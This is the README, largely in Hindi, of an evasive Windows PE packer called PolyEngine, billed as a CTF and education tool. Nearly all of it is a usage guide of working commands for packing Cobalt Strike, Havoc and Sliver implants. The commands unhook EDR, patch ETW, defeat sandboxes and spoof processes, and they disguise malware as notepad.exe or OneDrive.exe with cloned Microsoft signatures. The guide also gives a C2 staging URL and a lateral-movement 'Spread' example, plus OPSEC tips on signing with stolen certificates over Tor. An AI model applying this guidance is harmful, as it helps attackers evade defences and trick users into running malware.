
PolyEngine एक एवेसिव PE पैकर है जिसे CTF चुनौतियों और निम्न-स्तरीय Windows सुरक्षा शिक्षा के लिए डिज़ाइन किया गया है। यह इन-मेमोरी निष्पादन और ऑब्सफस्केशन तकनीकों की एक स्तरित स्टैक के माध्यम से EDR और AV ह्यूरिस्टिक्स को बायपास करने पर केंद्रित है।
# PolyEngine — पॉलीमॉर्फिक PE पैकर 📦
**PolyEngine** एक research-grade, evasive PE पैकर है जिसे CTF चुनौतियों और low-level Windows सुरक्षा शिक्षा के लिए डिज़ाइन किया गया है। यह in-memory execution और obfuscation तकनीकों की एक स्तरित स्टैक के माध्यम से EDR और AV heuristics को बायपास करने पर केंद्रित है।
यह एक side project है जिस पर मैं कुछ समय से काम कर रहा हूँ। मैंने Claude Code का उपयोग उन कुछ तकनीकों को लागू करने और सही करने के लिए किया है, जिन्हें मैं अपने खुद के PE पैकर में लागू करना चाहता था। Functions और वे क्या करते हैं, इस पर बहुत सारी टिप्पणियाँ हैं, क्योंकि यह मेरे लिए एक बड़ा सीखने का अनुभव था और Claude इसे त्रुटिहीन रूप से करता है (मैं इसमें अच्छा नहीं हूँ)। मुझे उम्मीद है कि यह कुछ लोगों को Windows internals सीखने में या कुछ AVs और अधिक उन्नत solutions से static detections को बायपास करने में मदद करेगा, जब आप उन ProLabs 🏯 से निपटते हैं।
🔥 [MalDevAcademy](https://maldevacademy.com/) को बहुत-बहुत धन्यवाद, जिन्होंने इसे बनाने के लिए सभी सामग्री और प्रेरणा दी।
🌩 [vx-underground](https://x.com/vxunderground) को धन्यवाद, जिन्होंने एक नटखट बिल्ली वाले मज़ेदार tweet से प्रेरणा दी।
> **अस्वीकरण:** यह टूल विशेष रूप से अधिकृत सुरक्षा परीक्षण, CTF प्रतियोगिताओं और शैक्षिक उपयोग के लिए है। बिना स्पष्ट अनुमति के सिस्टम के विरुद्ध इसका उपयोग निषिद्ध है। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।
---
## उपयोग
निर्माण क्रम: **पहले Stub, फिर Builder**। Stub Release|x64 `stub_v0.bin`..`stub_v3.bin` उत्पन्न करता है; Builder एक को `.rsrc` में embed करता है।
सुनिश्चित करें कि `stub_v0.bin`..`stub_v3.bin` working directory में हैं (या `--stub` pass करें)।```
Builder.exe <input> <output> [OPTIONS]
<input> Target PE (.exe/.dll) or raw shellcode (.bin)
Payload type is auto-detected from the MZ header - no flag needed.
<output> Output executable
Loader:
--stub <path> Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin]
--preset PRINT|MEDIA|NETWORK|RANDOM
Module stomping DLL preset [default: PRINT]
--overload Module overloading instead of stomping
(NtCreateSection/NtMapViewOfSection, not in PEB LDR)
--keep-alive ExitThread(0) instead of ExitProcess
(required for C2 implants that spawn their own threads)
--unhook Restore original .text bytes in ntdll/kernel32/
kernelbase from \KnownDlls\ clean copies
(overwrites EDR inline hooks before any payload syscall)
Payload (PE/DLL only, silently ignored for shellcode):
--export <name> DLL export to invoke after DllMain
--arg <string> Argument passed to the export [max 127 chars]
Evasion (all ON by default):
--spoof-name <exe> Process name for PEB spoof [default: random from pool]
Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe
SearchIndexer.exe taskhostw.exe spoolsv.exe
wlrmdr.exe WMPDMC.exe hvix64.exe
--exec-ctrl-name <name> Semaphore name for exec-ctrl check [default: wuauctl]
(max 31 chars)
--sleep-fwd-ms <ms> Sleep duration for sleep-fwd check [default: 500]
Detection threshold: 90% of <ms> elapsed
--uptime-min <minutes> Uptime threshold for uptime check [default: 2]
--hammer-s <seconds> API-hammer delay duration [default: 3]
--disable <token,token...> Disable one or more features (comma-separated, repeatable)
OPSEC tokens:
etw EtwEventWrite patch (ETW telemetry suppression)
spoofing Call-stack spoofing (SilentMoonwalk RSP pivot)
peb PEB path/cmdline spoof
tls TLS anti-debug callback (patches loader stub before embedding)
Sandbox/debug check tokens:
hammer API-hammer timing delay (VirtualAlloc/Free loop)
debugger Debugger detection (PEB flags / NtQueryInformationProcess)
api-emu API emulation probe (RtlComputeCrc32 identity check)
exec-ctrl Execution-control semaphore (re-execution detection)
sleep-fwd Sleep-forwarding detection (timing)
uptime System uptime check
cpu CPU count check (< 2 logical cores)
screen Screen resolution check (<= 1024 px width)
files Recent-files count check (< 5 RecentDocs subkeys)
all Disable every token listed above
Identity spoofing:
--pfx <path> PFX certificate container to sign the output with
--pfx-pass <password> PFX passphrase [omit if PFX has no password]
--ts-url <url> RFC 3161 timestamp URL [default: no timestamping]
OPSEC: timestamping reveals build IP/time to the TSA.
Enable only when signing from an isolated VM, or when
the signature must survive cert revocation.
--clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory
from a donor PE (e.g. notepad.exe, OneDrive.exe).
Explorer "Details" tab shows donor company/product/version;
file icon matches donor; "Digital Signatures" tab shows
donor's signer (HashMismatch — defeats visual inspection only).
Name output to match donor OriginalFilename field.
When combined with --pfx: real signature overwrites cloned cert.
--uac Embed a UAC elevation manifest (requireAdministrator).
Output PE prompts for admin privileges on launch.
Applied as Phase 10.5 (after packing, before signing).
Examples:
Builder.exe implant.exe packed.exe
Builder.exe implant.exe packed.exe --stub stub_v2.bin
Builder.exe shellcode.bin packed.exe --keep-alive
Builder.exe beacon.dll packed.exe --export Start --keep-alive
Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe"
Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls
Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5
Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx
Builder.exe implant.exe packed.exe --uac
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
```
---
## उदाहरण
परिदृश्य के अनुसार समूहीकृत कार्यशील उदाहरण। हर फ़्लैग ऑप्ट-आउट है (एवेज़न डिफ़ॉल्ट रूप से पूरी तरह सक्षम है), इसलिए सबसे सरल इनवोकेशन को भी पूरा स्टैक मिल जाता है।
<details>
<summary><b>बेसिक पैकिंग - EXE / DLL / shellcode</b></summary>
एक अनमैनेज्ड EXE पैक करें। बिल्डर `MZ` हेडर का ऑटो-डिटेक्शन करता है और RunPE पथ से रूट करता है:```
Builder.exe implant.exe packed.exe
```
रॉ पोजीशन-इंडिपेंडेंट शेलकोड पैक करें (Cobalt Strike `.bin`, msfvenom `-f raw`, आदि)। कोई `MZ` नहीं → सीधे डीकंप्रेस्ड बफर में कॉल करें:```
Builder.exe beacon.bin packed.exe
```
एक DLL पैक करें और केवल इसके डिफ़ॉल्ट `DllMain` को कॉल करें (कोई एक्सपोर्ट नहीं):```
Builder.exe payload.dll packed.exe
```
गैर-डिफ़ॉल्ट स्थान से स्टब का उपयोग करें:```
Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
```
</details>
<details>
<summary><b>एक्सपोर्ट्स के साथ DLL पेलोड - Havoc / Sliver / कस्टम बीकन</b></summary>
`DllMain` के लौटने के बाद एक नामित एक्सपोर्ट को कॉल करें। अधिकांश C2 इम्प्लांट एक DLL के रूप में आते हैं जिसमें एक single entry एक्सपोर्ट होता है (उदा. Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
एक्सपोर्ट को स्ट्रिंग तर्क पास करें (अधिकतम 127 अक्षर)। उन पेलोड के लिए उपयोगी जो कॉन्फ़िग स्ट्रिंग, URL, या शेल कमांड लेते हैं:```
Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage"
Builder.exe loader.dll packed.exe --export Run --arg "C:\\Windows\\System32\\calc.exe"
```
`--keep-alive` उन पेलोड के लिए आवश्यक है जो अपने स्वयं के थ्रेड बनाते हैं - इसके बिना लोडर `ExitProcess` को कॉल करता है और बीकन को मार देता है।
</details>
<details>
<summary><b>लंबे समय तक चलने वाले इम्प्लांट (C2 बीकन्स)</b></summary>
Cobalt Strike / Sliver / Havoc सभी एक बीकन थ्रेड बनाते हैं और लौट आते हैं। लोडर थ्रेड को प्रोसेस को खत्म किए बिना समाप्त होना चाहिए:```
Builder.exe beacon.exe packed.exe --keep-alive
Builder.exe beacon.bin packed.exe --keep-alive
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
</details>
<details>
<summary><b>मॉड्यूल स्टॉम्पिंग प्रीसेट - होस्ट DLL का चयन</b></summary>
डिक्रिप्टर स्टब एक बेनाइन Windows DLL के `.text` सेक्शन के अंदर छिपा होता है। वह प्रीसेट चुनें जिसके लोड किए गए मॉड्यूल लक्ष्य संदर्भ के लिए सबसे वैध दिखते हैं:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
```
`PRINT` (डिफ़ॉल्ट) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`। अधिकांश वर्कस्टेशनों पर सामान्य।
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`। ऐसे पेलोड के लिए उपयुक्त है जिसे पहले से ही नेटवर्क APIs लोड करने की आवश्यकता होती है।
`RANDOM` - पूरे पूल से तीन यादृच्छिक इंडेक्स (`bcrypt.dll`, idx 9 सहित)।
`LoadLibraryW` स्टॉम्पिंग से `NtCreateSection`+`NtMapViewOfSection` ओवरलोडिंग पर स्विच करें (DLL कभी `PEB.Ldr` में प्रवेश नहीं करती):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
```
</details>
<details>
<summary><b>EDR यूज़रलैंड अनहुकिंग</b></summary>
किसी भी EDR इनलाइन हुक्स के ऊपर `\KnownDlls\` से `ntdll`, `kernel32`, `kernelbase` के स्वच्छ `.text` बाइट्स पुनर्स्थापित करें। HellsHall पहले से ही संवेदनशील `Nt*` हुक्स को बायपास कर देता है; `--unhook` केवल तभी आवश्यक है जब पेलोड स्वयं हुक्ड Win32 APIs (जैसे `LoadLibrary`, `CreateProcess`) को कॉल करता है:```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
```
</details>
<details>
<summary><b>PEB स्पूफिंग - प्रोसेस का भेष बदलना</b></summary>
स्वतः चयनित स्पूफ नाम को ओवरराइड करें। कुछ ऐसा चुनें जो पैरेंट प्रोसेस / लॉन्च संदर्भ में फिट बैठता हो (Office मैक्रो → `RuntimeBroker.exe` अजीब लगता है, `WmiPrvSE.exe` बेहतर घुलमिल जाता है):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
```
स्पूफ नाम केवल एक ASCII फ़ाइलनाम है - Stub रनटाइम पर `C:\Windows\System32\` को आगे जोड़ता है। डिफ़ॉल्ट 9-प्रोसेस पूल में नहीं होने वाली कोई भी चीज़ भी काम करती है।
</details>
<details>
<summary><b>एवेज़न थ्रेशोल्ड को ट्यून करना</b></summary>
धैर्यवान सैंडबॉक्स के विरुद्ध लंबा हैमर विलंब, जो निर्णय लेने से पहले दसियों सेकंड तक चलते हैं:```
Builder.exe implant.exe packed.exe --hammer-s 10
```
उच्च अपटाइम सीमा - केवल तभी चलाएं जब बॉक्स कम से कम 30 मिनट से चालू हो (अधिकांश सैंडबॉक्स प्रति नमूना एक नया VM चालू करते हैं):```
Builder.exe implant.exe packed.exe --uptime-min 30
```
सख्त स्लीप-फ़ॉरवर्डिंग पहचान (छोटी नींद, बिना देखने योग्य त्रुटि के तेज़-आगे बढ़ाना कठिन):```
Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
```
exec-control जाँच के लिए कस्टम सेमाफोर नाम (डिफ़ॉल्ट `wuauctl` का उपयोग करने वाले किसी अन्य सैंपल से टकराव से बचाता है):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
```
पैरानॉयड प्रोफ़ाइल के लिए सब कुछ स्टैक करें:```
Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
```
</details>
<details>
<summary><b>डिबगिंग / लैब कार्य के लिए सुविधाएँ अक्षम करना</b></summary>
डिबगर में पुनरावृत्ति करते समय, TLS कॉलबैक और डिबगर जाँचें तुरंत ट्रिगर हो जाती हैं। स्वतंत्र रूप से अटैच करने के लिए दोनों को अक्षम करें:```
Builder.exe implant.exe packed.exe --disable tls,debugger
```
हर सैंडबॉक्स जांच को छोड़ें (फिर भी OPSEC सुविधाएँ चालू रखता है - ETW patch, PEB spoof, call-stack spoof):```
Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
```
वही बात, संक्षेप में:```
Builder.exe implant.exe packed.exe --disable all
```
विशिष्ट OPSEC सुविधाओं को अक्षम करें (जैसे जब लक्ष्य वातावरण को ETW पैचिंग की आवश्यकता नहीं होती, या PEB स्पूफ़ उस payload को तोड़ देता है जो अपने स्वयं के PEB को ट्रैवर्स करता है):```
Builder.exe implant.exe packed.exe --disable etw
Builder.exe implant.exe packed.exe --disable peb,spoofing
```
`--disable all` केवल सैंडबॉक्स/डीबग जाँचों को कवर करता है। OPSEC टोकन (`etw`, `spoofing`, `peb`, `tls`) को स्पष्ट रूप से सूचीबद्ध किया जाना चाहिए।
</details>
<details>
<summary><b>पहचान क्लोनिंग — VERSIONINFO, आइकन, Authenticode प्रमाणपत्र</b></summary>
किसी भी डोनर PE की कॉस्मेटिक पहचान को पैक किए गए आउटपुट में कॉपी करें। आउटपुट बाइनरी के Explorer गुण, टास्कबार आइकन और डिजिटल हस्ताक्षर टैब सभी डोनर को प्रतिबिंबित करते हैं:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
```
क्या क्लोन किया जाता है:
- **VERSIONINFO** (`RT_VERSION`) — Explorer का "Properties → Details" टैब: कंपनी, उत्पाद का नाम, फ़ाइल संस्करण, कॉपीराइट। दाता में मौजूद सभी language IDs कॉपी कर ली जाती हैं।
- **Icon** (`RT_GROUP_ICON` + `RT_ICON`) — सबसे कम ID वाला आइकन समूह (जिसे Explorer शेल आइकन के लिए उपयोग करता है)। टास्कबार, alt-tab, और फ़ाइल ब्राउज़र सभी दाता का आइकन दिखाते हैं।
- **Authenticode cert directory** — कच्चा `WIN_CERTIFICATE` PKCS#7 ब्लॉब 8-बाइट-संरेखित EOF पर जोड़ा जाता है। Explorer का "Properties → Digital Signatures" टैब दाता के हस्ताक्षरकर्ता (जैसे `Microsoft Windows`) को दिखाता है। `Get-AuthenticodeSignature` `Status = HashMismatch` लौटाता है — हस्ताक्षर संरचनात्मक रूप से मान्य है, लेकिन हैश दाता के बाइट्स को कवर करता है, हमारे नहीं। सामान्य दृश्य निरीक्षण को विफल कर देता है; कोई भी वास्तविक सत्यापनकर्ता (`signtool verify`, `WinVerifyTrust`, AV इंजन) इस बेमेल का पता लगाता है।
**OPSEC — OriginalFilename:** दाता का VERSIONINFO `OriginalFilename` एम्बेड करता है (जैसे `notepad.exe`)। कुछ हस्ताक्षर जाँचकर्ता और Defender ह्युरिस्टिक्स डिस्क पर मौजूद वास्तविक फ़ाइल नाम और `OriginalFilename` के बीच बेमेल को फ़्लैग करते हैं। आउटपुट का नाम उससे मेल खाते हुए रखें:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
```
**`--pfx` के साथ संयोजन:** जब दोनों फ्लैग मौजूद होते हैं, तो Phase 11 (clone) Phase 12 (sign) से पहले चलता है। असली हस्ताक्षर क्लोन की गई प्रमाणपत्र निर्देशिका को अधिलेखित कर देता है; VERSIONINFO और आइकन संरक्षित रहते हैं। `Get-AuthenticodeSignature` आपके प्रमाणपत्र को वैध दिखाता है, न कि दाता के हैश-मिसमैच वाले प्रमाणपत्र को:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**सत्यापन:**```powershell
# Fake cert clone (no --pfx): expect HashMismatch, donor signer
Get-AuthenticodeSignature .\notepad.exe | Format-List *
# Real signature (--pfx): expect Valid, your cert
Get-AuthenticodeSignature .\notepad.exe | Format-List *
# signtool independent check
signtool verify /pa /v notepad.exe
```
</details>
<details>
<summary><b>UAC उन्नयन — requireAdministrator मेनिफेस्ट</b></summary>
एक `requestedExecutionLevel="requireAdministrator"` मेनिफेस्ट एम्बेड करें ताकि आउटपुट PE लॉन्च होने पर UAC प्रॉम्प्ट ट्रिगर करे और उपयोगकर्ता के अनुमोदन करने पर उच्च-अखंडता टोकन प्राप्त करे:```
Builder.exe implant.exe packed.exe --uac
```
The manifest is an `RT_MANIFEST` resource (resource ID 1 — `CREATEPROCESS_MANIFEST_RESOURCE_ID`), the same slot the Windows loader checks for application compatibility and privilege manifests. The output is otherwise identical to a build without `--uac`; no changes to the Stub or payload path.
**Combination with `--clone-meta` and `--pfx`:** Phase 10.5 (manifest) runs before Phase 11 (clone) and Phase 12 (sign). The Authenticode signature computed in Phase 12 covers all embedded resources including the manifest — the hash is valid over the final binary. The UAC dialog shows the publisher name from the signing cert:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**OPSEC:** एक UAC प्रॉम्प्ट एक दृश्य, उपयोगकर्ता-सामना करने वाली घटना है। "क्या आप इस ऐप को आपके डिवाइस में बदलाव करने की अनुमति देना चाहते हैं?" डायलॉग डिस्क पर मौजूद फ़ाइल नाम और Authenticode प्रकाशक (या यदि अहस्ताक्षरित है तो "अज्ञात प्रकाशक") प्रदर्शित करता है। एक परिचित आइकन दिखाने के लिए `--uac` को `--clone-meta` के साथ और एक विश्वसनीय प्रकाशक दिखाने के लिए `--pfx` के साथ संयोजित करें। ऐसे अनअटेंडेड निष्पादन के लिए जो पहले से ही एक उन्नत प्रक्रिया से शुरू होता है (जैसे सेवा, WMI पार्श्विक गतिविधि, स्थानीय व्यवस्थापक शेल), `--uac` आवश्यक नहीं है।
</details>
<details>
<summary><b>Authenticode हस्ताक्षर (PFX, signtool के बिना)</b></summary>
पैक किए गए आउटपुट पर PFX प्रमाणपत्र के साथ हस्ताक्षर करें। बिल्डर सीधे `mssign32!SignerSignEx2` से संवाद करता है — ऑपरेटर वर्कस्टेशन पर कोई `signtool.exe` नहीं, किसी Windows SDK हस्ताक्षर उपकरण की आवश्यकता नहीं:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
```
बिना पासवर्ड वाला PFX (`--pfx-pass` फ़्लैग को पूरी तरह से हटा दें):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
```
RFC 3161 टाइमस्टैम्प जोड़ें ताकि प्रमाणपत्र समाप्त होने या निरस्त होने के बाद भी हस्ताक्षर मान्य बना रहे। ध्यान दें कि टाइमस्टैम्प प्राधिकरण बिल्ड IP और हस्ताक्षर के सटीक क्षण को लॉग करता है — नीचे OPSEC नोट देखें:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
```
**OPSEC — टाइमस्टैम्प कब छोड़ें:** `--ts-url` ऑप्ट-इन है। किसी सार्वजनिक TSA को भेजा गया प्रत्येक अनुरोध ऑपरेटर के बिल्ड होस्ट को TSA के HTTP लॉग में सिग्नेचर बनने के सटीक सेकंड के साथ दर्ज करा देता है — यदि सैंपल बाद में इंसिडेंट रिस्पॉन्स में सामने आता है तो यह एक मज़बूत फोरेंसिक सहसंबंध होता है। टाइमस्टैम्प एम्बेड करने से वही क्षण पैक किए गए PE के अंदर सिग्नेचर ब्लॉब पर भी अंकित हो जाता है, जहाँ कोई भी बाद का विश्लेषक उसे पढ़ सकता है। जब टाइमस्टैम्प की आवश्यकता न हो (सामान्यतः सेल्फ-साइन्ड सर्टिफिकेट या अल्पकालिक ऑप्स के लिए जहाँ सर्टिफिकेट समाप्ति के बाद सिग्नेचर वैधता मायने नहीं रखती), तो फ़्लैग को छोड़ दें और साइनिंग पूरी तरह एयर-गैप्ड रह सकती है।
**OPSEC — टाइमस्टैम्प कब रखें:** चुराए गए या अल्पकालिक कोड-साइनिंग सर्टिफिकेट जिन्हें रद्द किया जाना है, TSA काउंटरसिग्नेचर से लाभान्वित होते हैं — Windows रद्दीकरण के बाद भी सिग्नेचर स्वीकार करता है, जब तक टाइमस्टैम्प रद्दीकरण प्रविष्टि से पहले का है। ऐसे मामले में, एक पृथक VM से प्रॉक्सी / Tor के माध्यम से साइन करें, और TSA के लॉग को एक जानबूझकर (लेकिन सीमित) एक्सपोज़र मानें।
प्राइवेट की कभी पर्सिस्ट नहीं होती: `PFXImportCertStore` को `PKCS12_NO_PERSIST_KEY` के साथ कॉल किया जाता है, इसलिए `%APPDATA%\Microsoft\Crypto` के अंतर्गत कोई की कंटेनर नहीं बनता। SHA-256 डाइजेस्ट, `New-SelfSignedCertificate` और OpenSSL ≥3.x द्वारा उत्पादित PFX के साथ संगतता के लिए CNG-प्राथमिकता वाला KSP।
</details>
<details>
<summary><b>यथार्थवादी संयोजन</b></summary>
Cobalt Strike beacon DLL, नेटवर्क-थीम वाला होस्ट, पूर्ण इवेज़न, कस्टम म्यूटेक्स नाम:```
Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
```
Havoc Demon shellcode, स्टॉम्पिंग के बजाय ओवरलोडिंग, लंबा हैमर विलंब:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
```
एक CTF के लिए Stage-2 EXE जहाँ आप trigger को नियंत्रित करते हैं और anti-debug की आवश्यकता नहीं होती:```
Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
```
पार्श्व-गति सहायक DLL, पथ तर्क के साथ:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
```
सामान्य Microsoft बाइनरी के रूप में प्रच्छन्न दीर्घकालिक इम्प्लांट, पूर्ण इवेज़न स्टैक:```
Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
```
```
---
[Read more](https://github.com/longwayhomie/polyengine)